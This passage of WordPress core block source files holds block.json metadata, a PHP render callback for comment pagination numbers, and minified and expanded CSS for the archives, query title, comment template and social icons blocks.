	"description": "Display a date archive of your posts.",
	"textdomain": "default",
	"attributes": {
		"displayAsDropdown": {
			"type": "boolean",
			"default": false
		},
		"showLabel": {
			"type": "boolean",
			"default": true
		},
		"showPostCounts": {
			"type": "boolean",
			"default": false
		},
		"type": {
			"type": "string",
			"default": "monthly"
		}
	},
	"supports": {
		"align": true,
		"html": false,
		"spacing": {
			"margin": true,
			"padding": true,
			"__experimentalDefaultControls": {
				"margin": false,
				"padding": false
			}
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"editorStyle": "wp-block-archives-editor"
}
ul.wp-block-archives{padding-left:2.5em}ul.wp-block-archives{
  padding-right:2.5em;
}.wp-block-archives{
  box-sizing:border-box;
}

.wp-block-archives-dropdown label{
  display:block;
}.wp-block-archives{box-sizing:border-box}.wp-block-archives-dropdown label{display:block}ul.wp-block-archives{padding-right:2.5em}ul.wp-block-archives{
  padding-left:2.5em;
}.wp-block-archives{box-sizing:border-box}.wp-block-archives-dropdown label{display:block}.wp-block-archives{
  box-sizing:border-box;
}

.wp-block-archives-dropdown label{
  display:block;
}<?php
/**
 * Server-side rendering of the `core/comments-pagination-numbers` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/comments-pagination-numbers` block on the server.
 *
 * @param array    $attributes Block attributes.
 * @param string   $content    Block default content.
 * @param WP_Block $block      Block instance.
 *
 * @return string Returns the pagination numbers for the comments.
 */
function render_block_core_comments_pagination_numbers( $attributes, $content, $block ) {
	// Bail out early if the post ID is not set for some reason.
	if ( empty( $block->context['postId'] ) ) {
		return '';
	}

	$comment_vars = build_comment_query_vars_from_block( $block );

	$total   = ( new WP_Comment_Query( $comment_vars ) )->max_num_pages;
	$current = ! empty( $comment_vars['paged'] ) ? $comment_vars['paged'] : null;

	// Render links.
	$content = paginate_comments_links(
		array(
			'total'     => $total,
			'current'   => $current,
			'prev_next' => false,
			'echo'      => false,
		)
	);

	if ( empty( $content ) ) {
		return '';
	}

	$wrapper_attributes = get_block_wrapper_attributes();

	return sprintf(
		'<div %1$s>%2$s</div>',
		$wrapper_attributes,
		$content
	);
}

/**
 * Registers the `core/comments-pagination-numbers` block on the server.
 */
function register_block_core_comments_pagination_numbers() {
	register_block_type_from_metadata(
		__DIR__ . '/comments-pagination-numbers',
		array(
			'render_callback' => 'render_block_core_comments_pagination_numbers',
		)
	);
}
add_action( 'init', 'register_block_core_comments_pagination_numbers' );
{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/query-title",
	"title": "Query Title",
	"category": "theme",
	"description": "Display the query title.",
	"textdomain": "default",
	"attributes": {
		"type": {
			"type": "string"
		},
		"textAlign": {
			"type": "string"
		},
		"level": {
			"type": "number",
			"default": 1
		},
		"showPrefix": {
			"type": "boolean",
			"default": true
		},
		"showSearchTerm": {
			"type": "boolean",
			"default": true
		}
	},
	"supports": {
		"align": [ "wide", "full" ],
		"html": false,
		"color": {
			"gradients": true,
			"__experimentalDefaultControls": {
				"background": true,
				"text": true
			}
		},
		"spacing": {
			"margin": true,
			"padding": true
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontStyle": true,
			"__experimentalFontWeight": true,
			"__experimentalLetterSpacing": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"style": "wp-block-query-title"
}
.wp-block-query-title{
  box-sizing:border-box;
}.wp-block-query-title{box-sizing:border-box}.wp-block-query-title{box-sizing:border-box}.wp-block-query-title{
  box-sizing:border-box;
}{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/page-list-item",
	"title": "Page List Item",
	"category": "widgets",
	"parent": [ "core/page-list" ],
	"description": "Displays a page inside a list of all pages.",
	"keywords": [ "page", "menu", "navigation" ],
	"textdomain": "default",
	"attributes": {
		"id": {
			"type": "number"
		},
		"label": {
			"type": "string"
		},
		"title": {
			"type": "string"
		},
		"link": {
			"type": "string"
		},
		"hasChildren": {
			"type": "boolean"
		}
	},
	"usesContext": [
		"textColor",
		"customTextColor",
		"backgroundColor",
		"customBackgroundColor",
		"overlayTextColor",
		"customOverlayTextColor",
		"overlayBackgroundColor",
		"customOverlayBackgroundColor",
		"fontSize",
		"customFontSize",
		"showSubmenuIcon",
		"style",
		"openSubmenusOnClick"
	],
	"supports": {
		"reusable": false,
		"html": false,
		"lock": false,
		"inserter": false,
		"__experimentalToolbar": false,
		"interactivity": {
			"clientNavigation": true
		}
	},
	"editorStyle": "wp-block-page-list-editor",
	"style": "wp-block-page-list"
}
{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/comment-template",
	"title": "Comment Template",
	"category": "design",
	"parent": [ "core/comments" ],
	"description": "Contains the block elements used to display a comment, like the title, date, author, avatar and more.",
	"textdomain": "default",
	"usesContext": [ "postId" ],
	"supports": {
		"align": true,
		"html": false,
		"reusable": false,
		"spacing": {
			"margin": true,
			"padding": true
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"style": "wp-block-comment-template"
}
.wp-block-comment-template{
  box-sizing:border-box;
  list-style:none;
  margin-bottom:0;
  max-width:100%;
  padding:0;
}
.wp-block-comment-template li{
  clear:both;
}
.wp-block-comment-template ol{
  list-style:none;
  margin-bottom:0;
  max-width:100%;
  padding-left:2rem;
}
.wp-block-comment-template.alignleft{
  float:left;
}
.wp-block-comment-template.aligncenter{
  margin-left:auto;
  margin-right:auto;
  width:-moz-fit-content;
  width:fit-content;
}
.wp-block-comment-template.alignright{
  float:right;
}.wp-block-comment-template{box-sizing:border-box;list-style:none;margin-bottom:0;max-width:100%;padding:0}.wp-block-comment-template li{clear:both}.wp-block-comment-template ol{list-style:none;margin-bottom:0;max-width:100%;padding-left:2rem}.wp-block-comment-template.alignleft{float:left}.wp-block-comment-template.aligncenter{margin-left:auto;margin-right:auto;width:-moz-fit-content;width:fit-content}.wp-block-comment-template.alignright{float:right}.wp-block-comment-template{box-sizing:border-box;list-style:none;margin-bottom:0;max-width:100%;padding:0}.wp-block-comment-template li{clear:both}.wp-block-comment-template ol{list-style:none;margin-bottom:0;max-width:100%;padding-right:2rem}.wp-block-comment-template.alignleft{float:right}.wp-block-comment-template.aligncenter{margin-left:auto;margin-right:auto;width:-moz-fit-content;width:fit-content}.wp-block-comment-template.alignright{float:left}.wp-block-comment-template{
  box-sizing:border-box;
  list-style:none;
  margin-bottom:0;
  max-width:100%;
  padding:0;
}
.wp-block-comment-template li{
  clear:both;
}
.wp-block-comment-template ol{
  list-style:none;
  margin-bottom:0;
  max-width:100%;
  padding-right:2rem;
}
.wp-block-comment-template.alignleft{
  float:right;
}
.wp-block-comment-template.aligncenter{
  margin-left:auto;
  margin-right:auto;
  width:-moz-fit-content;
  width:fit-content;
}
.wp-block-comment-template.alignright{
  float:left;
}{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/social-links",
	"title": "Social Icons",
	"category": "widgets",
	"allowedBlocks": [ "core/social-link" ],
	"description": "Display icons linking to your social media profiles or sites.",
	"keywords": [ "links" ],
	"textdomain": "default",
	"attributes": {
		"iconColor": {
			"type": "string"
		},
		"customIconColor": {
			"type": "string"
		},
		"iconColorValue": {
			"type": "string"
		},
		"iconBackgroundColor": {
			"type": "string"
		},
		"customIconBackgroundColor": {
			"type": "string"
		},
		"iconBackgroundColorValue": {
			"type": "string"
		},
		"openInNewTab": {
			"type": "boolean",
			"default": false
		},
		"showLabels": {
			"type": "boolean",
			"default": false
		},
		"size": {
			"type": "string"
		}
	},
	"providesContext": {
		"openInNewTab": "openInNewTab",
		"showLabels": "showLabels",
		"iconColor": "iconColor",
		"iconColorValue": "iconColorValue",
		"iconBackgroundColor": "iconBackgroundColor",
		"iconBackgroundColorValue": "iconBackgroundColorValue"
	},
	"supports": {
		"align": [ "left", "center", "right" ],
		"anchor": true,
		"__experimentalExposeControlsToChildren": true,
		"layout": {
			"allowSwitching": false,
			"allowInheriting": false,
			"allowVerticalAlignment": false,
			"default": {
				"type": "flex"
			}
		},
		"color": {
			"enableContrastChecker": false,
			"background": true,
			"gradients": true,
			"text": false,
			"__experimentalDefaultControls": {
				"background": false
			}
		},
		"spacing": {
			"blockGap": [ "horizontal", "vertical" ],
			"margin": true,
			"padding": true,
			"units": [ "px", "em", "rem", "vh", "vw" ],
			"__experimentalDefaultControls": {
				"blockGap": true,
				"margin": true,
				"padding": false
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"styles": [
		{ "name": "default", "label": "Default", "isDefault": true },
		{ "name": "logos-only", "label": "Logos Only" },
		{ "name": "pill-shape", "label": "Pill Shape" }
	],
	"editorStyle": "wp-block-social-links-editor",
	"style": "wp-block-social-links"
}
.wp-block-social-links div.block-editor-url-input{display:inline-block;margin-left:8px}.wp-block-social-links.wp-block-social-links{background:none}.wp-social-link:hover{transform:none}.editor-styles-wrapper .wp-block-social-links{padding:0}.wp-block-social-links__social-placeholder{display:flex;list-style:none;opacity:.8}.wp-block-social-links__social-placeholder>.wp-social-link{margin-left:0!important;margin-right:0!important;padding-left:0!important;padding-right:0!important;visibility:hidden;width:0!important}.wp-block-social-links__social-placeholder>.wp-block-social-links__social-placeholder-icons{display:flex}.wp-block-social-links__social-placeholder .wp-social-link{padding:.25em}.is-style-pill-shape .wp-block-social-links__social-placeholder .wp-social-link{padding-left:.66667em;padding-right:.66667em}.is-style-logos-only .wp-block-social-links__social-placeholder .wp-social-link{padding:0}.wp-block-social-links__social-placeholder .wp-social-link:before{border-radius:50%;content:"";display:block;height:1em;width:1em}.is-style-logos-only .wp-block-social-links__social-placeholder .wp-social-link:before{background:currentColor}.wp-block-social-links .wp-block-social-links__social-prompt{cursor:default;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;line-height:24px;list-style:none;margin-bottom:auto;margin-top:auto;min-height:24px;order:2;padding-right:8px}.wp-block.wp-block-social-links.aligncenter,.wp-block[data-align=center]>.wp-block-social-links{justify-content:center}.block-editor-block-preview__content .components-button:disabled{opacity:1}.wp-social-link.wp-social-link__is-incomplete{opacity:.5}@media (prefers-reduced-motion:reduce){.wp-social-link.wp-social-link__is-incomplete{transition-delay:0s;transition-duration:0s}}.wp-block-social-links .is-selected .wp-social-link__is-incomplete,.wp-social-link.wp-social-link__is-incomplete:focus,.wp-social-link.wp-social-link__is-incomplete:hover{opacity:1}.wp-block-social-links div.block-editor-url-input{
  display:inline-block;
  margin-right:8px;
}
.wp-block-social-links.wp-block-social-links{
  background:none;
}

.wp-social-link:hover{
  transform:none;
}

.editor-styles-wrapper .wp-block-social-links{
  padding:0;
}

.wp-block-social-links__social-placeholder{
  display:flex;
  list-style:none;
  opacity:.8;
}
.wp-block-social-links__social-placeholder>.wp-social-link{
  margin-left:0 !important;
  margin-right:0 !important;
  padding-left:0 !important;
  padding-right:0 !important;
  visibility:hidden;
  width:0 !important;
}
.wp-block-social-links__social-placeholder>.wp-block-social-links__social-placeholder-icons{
  display:flex;
}
.wp-block-social-links__social-placeholder .wp-social-link{
  padding:.25em;
}
.is-style-pill-shape .wp-block-social-links__social-placeholder .wp-social-link{
  padding-left:.66667em;
  padding-right:.66667em;
}
.is-style-logos-only .wp-block-social-links__social-placeholder .wp-social-link{
  padding:0;
}
.wp-block-social-links__social-placeholder .wp-social-link:before{
  border-radius:50%;
  content:"";
  display:block;
  height:1em;
  width:1em;
}
.is-style-logos-only .wp-block-social-links__social-placeholder .wp-social-link:before{
  background:currentColor;
}

.wp-block-social-links .wp-block-social-links__social-prompt{
  cursor:default;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
  line-height:24px;
  list-style:none;
  margin-bottom:auto;
  margin-top:auto;
  min-height:24px;
  order:2;
  padding-left:8px;
}

.wp-block.wp-block-social-links.aligncenter,.wp-block[data-align=center]>.wp-block-social-links{
  justify-content:center;
}

.block-editor-block-preview__content .components-button:disabled{
  opacity:1;
}

.wp-social-link.wp-social-link__is-incomplete{
  opacity:.5;
}
@media (prefers-reduced-motion:reduce){
  .wp-social-link.wp-social-link__is-incomplete{
    transition-delay:0s;
    transition-duration:0s;
  }
}

.wp-block-social-links .is-selected .wp-social-link__is-incomplete,.wp-social-link.wp-social-link__is-incomplete:focus,.wp-social-link.wp-social-link__is-incomplete:hover{
  opacity:1;
}.wp-block-social-links{
  background:none;
  box-sizing:border-box;
  margin-left:0;
  padding-left:0;
  padding-right:0;
  text-indent:0;
}
.wp-block-social-links .wp-social-link a,.wp-block-social-links .wp-social-link a:hover{
  border-bottom:0;
  box-shadow:none;
  text-decoration:none;
}
.wp-block-social-links .wp-social-link a{
  padding:.25em;
}
.wp-block-social-links .wp-social-link svg{
  height:1em;
  width:1em;
}
.wp-block-social-links .wp-social-link span:not(.screen-reader-text){
  font-size:.65em;
  margin-left:.5em;
  margin-right:.5em;
}
.wp-block-social-links.has-small-icon-size{
  font-size:16px;
}
.wp-block-social-links,.wp-block-social-links.has-normal-icon-size{
  font-size:24px;
}
.wp-block-social-links.has-large-icon-size{
  font-size:36px;
}
.wp-block-social-links.has-huge-icon-size{
  font-size:48px;
}
.wp-block-social-links.aligncenter{
  display:flex;
  justify-content:center;
}
.wp-block-social-links.alignright{
  justify-content:flex-end;
}

.wp-block-social-link{
  border-radius:9999px;
  display:block;
  height:auto;
  transition:transform .1s ease;
}
@media (prefers-reduced-motion:reduce){
  .wp-block-social-link{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.wp-block-social-link a{
  align-items:center;
  display:flex;
  line-height:0;
  transition:transform .1s ease;
}
.wp-block-social-link:hover{
  transform:scale(1.1);
}

.wp-block-social-links .wp-block-social-link.wp-social-link{
  display:inline-block;
  margin:0;
  padding:0;
}
.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor,.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor svg,.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor:active,.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor:hover,.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor:visited{
  color:currentColor;
  fill:currentColor;
}

.wp-block-social-links:not(.is-style-logos-only) .wp-social-link{
  background-color:#f0f0f0;
  color:#444;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-amazon{
  background-color:#f90;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-bandcamp{
  background-color:#1ea0c3;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-behance{
  background-color:#0757fe;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-codepen{
  background-color:#1e1f26;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-deviantart{
  background-color:#02e49b;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-dribbble{
  background-color:#e94c89;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-dropbox{
  background-color:#4280ff;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-etsy{
  background-color:#f45800;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-facebook{
  background-color:#1778f2;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-fivehundredpx{
  background-color:#000;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-flickr{
  background-color:#0461dd;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-foursquare{
  background-color:#e65678;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-github{
  background-color:#24292d;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-goodreads{
  background-color:#eceadd;
  color:#382110;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-google{
  background-color:#ea4434;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-gravatar{
  background-color:#1d4fc4;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-instagram{
  background-color:#f00075;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-lastfm{
  background-color:#e21b24;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-linkedin{
  background-color:#0d66c2;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-mastodon{
  background-color:#3288d4;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-medium{
  background-color:#02ab6c;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-meetup{
  background-color:#f6405f;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-patreon{
  background-color:#000;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-pinterest{
  background-color:#e60122;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-pocket{
  background-color:#ef4155;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-reddit{
  background-color:#ff4500;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-skype{
  background-color:#0478d7;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-snapchat{
  background-color:#fefc00;
  color:#fff;
  stroke:#000;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-soundcloud{
  background-color:#ff5600;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-spotify{
  background-color:#1bd760;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-telegram{
  background-color:#2aabee;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-threads,.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-tiktok{
  background-color:#000;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-tumblr{
  background-color:#011835;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-twitch{
  background-color:#6440a4;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-twitter{
  background-color:#1da1f2;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-vimeo{
  background-color:#1eb7ea;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-vk{
  background-color:#4680c2;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-wordpress{
  background-color:#3499cd;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-whatsapp{
  background-color:#25d366;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-x{
  background-color:#000;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-yelp{
  background-color:#d32422;
  color:#fff;
}
.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-youtube{
  background-color:red;
  color:#fff;
}

.wp-block-social-links.is-style-logos-only .wp-social-link{
  background:none;
}
.wp-block-social-links.is-style-logos-only .wp-social-link a{
  padding:0;
}
.wp-block-social-links.is-style-logos-only .wp-social-link svg{
  height:1.25em;
  width:1.25em;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-amazon{
  color:#f90;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-bandcamp{
  color:#1ea0c3;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-behance{
  color:#0757fe;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-codepen{
  color:#1e1f26;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-deviantart{
  color:#02e49b;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-dribbble{
  color:#e94c89;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-dropbox{
  color:#4280ff;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-etsy{
  color:#f45800;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-facebook{
  color:#1778f2;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-fivehundredpx{
  color:#000;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-flickr{
  color:#0461dd;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-foursquare{
  color:#e65678;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-github{
  color:#24292d;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-goodreads{
  color:#382110;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-google{
  color:#ea4434;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-gravatar{
  color:#1d4fc4;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-instagram{
  color:#f00075;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-lastfm{
  color:#e21b24;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-linkedin{
  color:#0d66c2;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-mastodon{
  color:#3288d4;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-medium{
  color:#02ab6c;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-meetup{
  color:#f6405f;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-patreon{
  color:#000;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-pinterest{
  color:#e60122;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-pocket{
  color:#ef4155;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-reddit{
  color:#ff4500;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-skype{
  color:#0478d7;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-snapchat{
  color:#fff;
  stroke:#000;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-soundcloud{
  color:#ff5600;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-spotify{
  color:#1bd760;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-telegram{
  color:#2aabee;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-threads,.wp-block-social-links.is-style-logos-only .wp-social-link-tiktok{
  color:#000;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-tumblr{
  color:#011835;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-twitch{
  color:#6440a4;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-twitter{
  color:#1da1f2;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-vimeo{
  color:#1eb7ea;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-vk{
  color:#4680c2;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-whatsapp{
  color:#25d366;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-wordpress{
  color:#3499cd;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-x{
  color:#000;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-yelp{
  color:#d32422;
}
.wp-block-social-links.is-style-logos-only .wp-social-link-youtube{
  color:red;
}

.wp-block-social-links.is-style-pill-shape .wp-social-link{
  width:auto;
}
.wp-block-social-links.is-style-pill-shape .wp-social-link a{
  padding-left:.66667em;
  padding-right:.66667em;
}

.wp-block-social-links:not(.has-icon-color):not(.has-icon-background-color) .wp-social-link-snapchat .wp-block-social-link-label{
  color:#000;
}.wp-block-social-links{background:none;box-sizing:border-box;margin-left:0;padding-left:0;padding-right:0;text-indent:0}.wp-block-social-links .wp-social-link a,.wp-block-social-links .wp-social-link a:hover{border-bottom:0;box-shadow:none;text-decoration:none}.wp-block-social-links .wp-social-link a{padding:.25em}.wp-block-social-links .wp-social-link svg{height:1em;width:1em}.wp-block-social-links .wp-social-link span:not(.screen-reader-text){font-size:.65em;margin-left:.5em;margin-right:.5em}.wp-block-social-links.has-small-icon-size{font-size:16px}.wp-block-social-links,.wp-block-social-links.has-normal-icon-size{font-size:24px}.wp-block-social-links.has-large-icon-size{font-size:36px}.wp-block-social-links.has-huge-icon-size{font-size:48px}.wp-block-social-links.aligncenter{display:flex;justify-content:center}.wp-block-social-links.alignright{justify-content:flex-end}.wp-block-social-link{border-radius:9999px;display:block;height:auto;transition:transform .1s ease}@media (prefers-reduced-motion:reduce){.wp-block-social-link{transition-delay:0s;transition-duration:0s}}.wp-block-social-link a{align-items:center;display:flex;line-height:0;transition:transform .1s ease}.wp-block-social-link:hover{transform:scale(1.1)}.wp-block-social-links .wp-block-social-link.wp-social-link{display:inline-block;margin:0;padding:0}.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor,.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor svg,.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor:active,.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor:hover,.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor:visited{color:currentColor;fill:currentColor}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link{background-color:#f0f0f0;color:#444}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-amazon{background-color:#f90;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-bandcamp{background-color:#1ea0c3;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-behance{background-color:#0757fe;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-codepen{background-color:#1e1f26;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-deviantart{background-color:#02e49b;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-dribbble{background-color:#e94c89;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-dropbox{background-color:#4280ff;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-etsy{background-color:#f45800;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-facebook{background-color:#1778f2;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-fivehundredpx{background-color:#000;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-flickr{background-color:#0461dd;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-foursquare{background-color:#e65678;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-github{background-color:#24292d;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-goodreads{background-color:#eceadd;color:#382110}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-google{background-color:#ea4434;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-gravatar{background-color:#1d4fc4;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-instagram{background-color:#f00075;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-lastfm{background-color:#e21b24;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-linkedin{background-color:#0d66c2;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-mastodon{background-color:#3288d4;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-medium{background-color:#02ab6c;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-meetup{background-color:#f6405f;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-patreon{background-color:#000;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-pinterest{background-color:#e60122;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-pocket{background-color:#ef4155;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-reddit{background-color:#ff4500;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-skype{background-color:#0478d7;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-snapchat{background-color:#fefc00;color:#fff;stroke:#000}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-soundcloud{background-color:#ff5600;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-spotify{background-color:#1bd760;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-telegram{background-color:#2aabee;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-threads,.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-tiktok{background-color:#000;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-tumblr{background-color:#011835;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-twitch{background-color:#6440a4;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-twitter{background-color:#1da1f2;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-vimeo{background-color:#1eb7ea;color:#fff}.wp-block-social-links:not(.is-style-logos-only) 